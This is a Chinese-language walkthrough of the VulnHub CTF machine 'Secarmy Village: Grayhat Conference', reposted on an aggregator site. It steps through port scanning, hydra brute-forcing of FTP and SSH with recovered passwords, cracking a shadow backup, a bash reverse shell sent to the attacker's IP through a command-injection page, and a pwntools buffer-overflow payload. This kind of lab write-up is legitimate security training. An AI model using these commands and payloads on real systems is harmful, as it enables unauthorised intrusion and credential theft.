当前位置: 首页 > news >正文

Secarmy Village: Grayhat Conference靶场

Secarmy Village: Grayhat Conference

来自 <Secarmy Village: Grayhat Conference ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.224

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.224

端口/服务

风险等级

详细风险

建议措施

21/tcp (FTP)

- 允许匿名登录(Anonymous FTP),可能泄露敏感文件。

- vsftpd 3.0.3可能存在未修复漏洞(如CVE-2020-8816)。

1. 禁用匿名登录。

2. 限制FTP目录权限。

3. 升级到最新版本。

22/tcp (SSH)

- OpenSSH 7.6p1版本较旧,可能存在弱密码或密钥泄露风险。

1. 禁用密码认证,强制使用密钥登录。

2. 升级至OpenSSH 9.6+版本。

3. 限制SSH访问IP范围。

80/tcp (HTTP)

- Apache 2.4.29存在旧漏洞(如CVE-2017-15715)。

- 网站标题暗示潜在漏洞风险。

1. 升级Apache至2.4.57+。

2. 扫描Web目录(使用gobusterdirb)。

3. 检查SQL注入/XSS等漏洞。

1337/tcp (自定义服务)

- 密码恢复功能需输入“令牌”,可能为硬编码凭证或存在逻辑漏洞(如缓冲区溢出)。

1. 通过FTP/HTTP获取潜在令牌。

2. 使用netcat手动交互测试。

3. 审计服务代码逻辑,移除硬编码凭证。

4,尝试匿名访问,发现什么都没有

ftp anonymous@192.168.23.224

访问80端口开放的http服务

对网站存在的隐藏子目录进行扫描

dirb http://192.168.23.224

查看页面源代码得到一些内容(因为文字选择白色所以无法直接看见)

view-source:http://192.168.23.224/anon/

5,再次尝试登录到ftp服务器上,账户密码:uno/luc10r4m0n

下载下来查看内容

get flag1.txt

get readme.txt

得到了flag1和重要提示信息

通过在ftp服务器的信息收集可以知道所有用户名

ls /home

保存成为一个字典,然后进行hydra爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh

甚至可以ssh登录了

6,ftp上线dos用户,password:4b3l4rd0fru705

ftp dos@192.168.23.224 

信息收集发现有两个文件1137.txt和readme.txt,保存下来看看。

然后把巨大的files文件夹里面的内容下载出来

mkdir ftp

cd ftp

prompt

mget *

7,1337.txt提示要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token

readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成

import re

def find_str(num):

    file_text = open(f'ftp/file{num}.txt').readlines()

    pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$')

    for line in file_text:

        if pattern.search(line):

            print('file'+str(num)+'.txt')

            break

if __name__ == '__main__':

    for i in range(0,5001):

        find_str(i)

成功找到对应文件

有提示去看file3131.txt,最后是base64编码,将其转换成zip文件

vim encode.txt

cat encode.txt | tr -d '\n' | base64 -d > output.zip

然后读取这些文件

得到了flag2

8,nc连接之后输入我们得到的token:c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

得到一个账户和密码,登录ftp服务器

tres:r4f43l71n4j3r0

ftp tres@192.168.23.224

下载文件夹下面的三个文件,读取文本文件

已向当前文件夹中的 secarmy-village 二进制文件添加一组条件语句。请逆向该文件并获取第四个用户的凭据。如果访问文件时遇到问题,可前往以下链接下载:

https://mega.nz/file/XodTiCJD#YoLtnkxzRe_BInpX6twDn_LFQaQVnjQufFj3Hn1iEyU

9upx脱壳文件

upx -d secarmy-village

然后查看文件内容,得到第四个用户名密码

strings secarmy-village

cuatro:p3dr00l1v4r3z

ftp cuatro@192.168.23.224

登录成功下载第四个flag和关键提示

10,根据提示访问网站的一个隐藏目录/justanothergallery

http://192.168.23.224/justanothergallery/

得到一个二维码,第53扫一下即可得到用户密码 cinco:ruy70m35

http://192.168.23.224/justanothergallery/qr/image-53.png

11,ftp服务器访问

ftp cinco@192.168.23.224

下载这两个文件然后读取

然后ssh上线用户

ssh cinco@192.168.23.224

寻找属主属于cinco用户的文件

find / -user cinco 2>/dev/null

先赋予权限给shadow.bak,再通过kali的scp下载它

scp cinco@192.168.23.224:/cincos-secrets/shadow.bak /root/

解密bak文件得到账户和密码 seis:Hogwarts

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

12,使用ftp服务器登录,下载该用户的两个文件

然后读取之

提示访问一个隐藏网页

http://192.168.23.224/shellcmsdashboard/

扫描一下网站子目录

 dirsearch -u http://192.168.23.224/shellcmsdashboard/ -x 404,403

http://192.168.23.224/shellcmsdashboard/robots.txt

得到账户密码访问一下,admin/qwerty

得到一个页面,访问一下

http://192.168.23.224/shellcmsdashboard/aabbzzee.php

发现这个网页存在命令执行漏洞,直接反弹shell

bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"

然后kali监听4444端口,成功getshell

13,信息收集一下,得到一个用户名密码

chmod 7777 readme9213.txt

cat readme9213.txt

依然使用hydra进行爆破

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.23.224 ssh

是siete用户的6u1l3rm0p3n473,ftp上线登录一下

都导出来看看

看看文件内容

通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串

python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'

得到了password.zip的解压密码secarmyxoritup

14,依然hydra爆破下一个用户的账户密码

hydra -L users.txt -p m0d3570v1ll454n4 192.168.23.224

ftp ocho@192.168.23.224

然后分析得到的两个文件

wireshark keyboard.pcapng

在过滤器输入http.request.method==GET

有个none.txt,然后追踪流看看内容

把这个密文进行解密 mjwfr?2b6j3a5fx/

Keyboard Shift Cipher - Key Offset - Online Decoder, Translator

拿到下一个用户的账户密码 nueve:355u4z4rc0

15,然后ftp登录下一个用户

下载三个文件,然后读取

16,只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听

socat TCP-LISTEN:8000 EXEC:./orangutan

接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本

from pwn import *

offset = b"A" * 24

secret = b"\xbe\xba\xfe\xca"

payload = offset + secret

conn = remote('192.168.23.224',8000)

print(conn.recvline())

print(conn.recvline())

conn.sendline(payload)

 

http://www.xdnf.cn/news/547381.html

相关文章:

  • SpringMVC所有注解按照使用位置划分
  • 基于matlabcd7.x的无网格近似方法
  • CSS 样式表的四种应用方式详解以及css注释的应用
  • TypeScript与JavaScript的异同
  • MySQL:to many connections连接数过多
  • 指令烧录ORIN NANO操作系统
  • RocketMQ实战—订单系统面临的技术挑战
  • 开放鸿蒙OpenHarmony 5.0.0 Release 兼容性测试实战经验分享
  • 工业数据治理标准规范深度解析
  • 大模型应用开发“扫盲”——基于市场某款智能问数产品的技术架构进行解析与学习
  • 解决git中断显示中文为八进制编码问题
  • 设计模式 - 工厂模式
  • 中断全攻略:单片机优先级与 NVIC 详解(超形象解释)
  • Kubernetes中微服务JVM监控与自动发现的解决方案
  • HarmonyOS5云服务技术分享--云数据库使用指南
  • (十三)深入了解AVFoundation-采集:视频帧采集与实时滤镜处理
  • Https流式输出一次输出一大段,一卡一卡的-解决方案
  • 海康工业相机白平衡比选择器对应的值被重置后,如何恢复原成像
  • 【Unity】DOTween的常用函数解释
  • Java 大视界——Java大数据在智慧交通智能停车诱导系统中的数据融合与实时更新
  • 【数据结构】队列的完整实现
  • 五:操作系统内存管理之连续内存分配
  • 机器学习10-随机森林
  • 解决将cpp编译为dll,使用ctype的cdll调用,printf不输出在终端
  • 算法与数据结构:位运算与快速幂
  • 地理信息数据格式.GeoJSON数据格式介绍
  • 无人机避障——深蓝学院浙大Fast-planner学习部分(采用均匀B-Spline和非均匀B-Spline进行轨迹优化和时间重分配)
  • 力扣-盛最多水的容器
  • 网络刷卡器的分类和网口通讯流程
  • hghac集群服务器时间同步(chrony同步)